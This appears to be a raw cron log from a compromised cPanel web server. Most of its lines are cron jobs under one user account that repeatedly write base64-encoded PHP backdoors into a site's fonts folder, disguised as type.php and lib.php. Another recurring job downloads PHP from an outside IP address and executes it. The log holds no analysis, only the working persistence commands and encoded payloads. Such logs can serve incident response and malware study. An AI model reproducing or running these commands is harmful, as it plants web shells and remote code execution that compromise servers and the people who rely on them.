Sep  8 04:48:01 ip-184-168-122-23 CROND[12003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:48:01 ip-184-168-122-23 CROND[12004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:48:01 ip-184-168-122-23 CROND[12005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:48:01 ip-184-168-122-23 CROND[12006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:49:01 ip-184-168-122-23 CROND[12087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:49:01 ip-184-168-122-23 CROND[12089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:49:01 ip-184-168-122-23 CROND[12090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:49:01 ip-184-168-122-23 CROND[12086]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 04:49:01 ip-184-168-122-23 CROND[12088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:50:01 ip-184-168-122-23 CROND[12304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12307]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:50:01 ip-184-168-122-23 CROND[12315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:50:01 ip-184-168-122-23 CROND[12316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:50:01 ip-184-168-122-23 CROND[12321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:51:02 ip-184-168-122-23 CROND[12478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:51:02 ip-184-168-122-23 CROND[12479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:51:02 ip-184-168-122-23 CROND[12480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:51:02 ip-184-168-122-23 CROND[12481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:52:01 ip-184-168-122-23 CROND[12559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:52:01 ip-184-168-122-23 CROND[12562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:52:01 ip-184-168-122-23 CROND[12560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:52:01 ip-184-168-122-23 CROND[12561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:52:01 ip-184-168-122-23 CROND[12563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:53:02 ip-184-168-122-23 CROND[12837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:53:02 ip-184-168-122-23 CROND[12838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:53:02 ip-184-168-122-23 CROND[12836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:53:02 ip-184-168-122-23 CROND[12839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:54:01 ip-184-168-122-23 CROND[13116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:54:01 ip-184-168-122-23 CROND[13119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:54:01 ip-184-168-122-23 CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:54:01 ip-184-168-122-23 CROND[13120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:54:01 ip-184-168-122-23 CROND[13121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:55:01 ip-184-168-122-23 CROND[13298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:55:01 ip-184-168-122-23 CROND[13299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:55:01 ip-184-168-122-23 CROND[13297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:55:01 ip-184-168-122-23 CROND[13300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:55:01 ip-184-168-122-23 CROND[13301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:55:01 ip-184-168-122-23 CROND[13302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:56:01 ip-184-168-122-23 CROND[13418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:56:01 ip-184-168-122-23 CROND[13417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:56:01 ip-184-168-122-23 CROND[13416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:56:01 ip-184-168-122-23 CROND[13419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:56:01 ip-184-168-122-23 CROND[13420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:57:01 ip-184-168-122-23 CROND[13523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:57:01 ip-184-168-122-23 CROND[13525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:57:01 ip-184-168-122-23 CROND[13526]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  8 04:57:01 ip-184-168-122-23 CROND[13528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:57:01 ip-184-168-122-23 CROND[13527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:57:20 ip-184-168-122-23 crontab[13690]: (root) LIST (root)
Sep  8 04:57:20 ip-184-168-122-23 crontab[13692]: (root) LIST (root)
Sep  8 04:57:28 ip-184-168-122-23 crontab[13785]: (root) LIST (root)
Sep  8 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  8 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 04:58:01 ip-184-168-122-23 CROND[13983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:58:01 ip-184-168-122-23 CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:58:01 ip-184-168-122-23 CROND[13985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:58:01 ip-184-168-122-23 CROND[13988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:58:01 ip-184-168-122-23 CROND[13987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:59:01 ip-184-168-122-23 CROND[14515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:59:01 ip-184-168-122-23 CROND[14516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:59:01 ip-184-168-122-23 CROND[14517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:59:01 ip-184-168-122-23 CROND[14518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:00:01 ip-184-168-122-23 CROND[14697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:00:01 ip-184-168-122-23 CROND[14701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
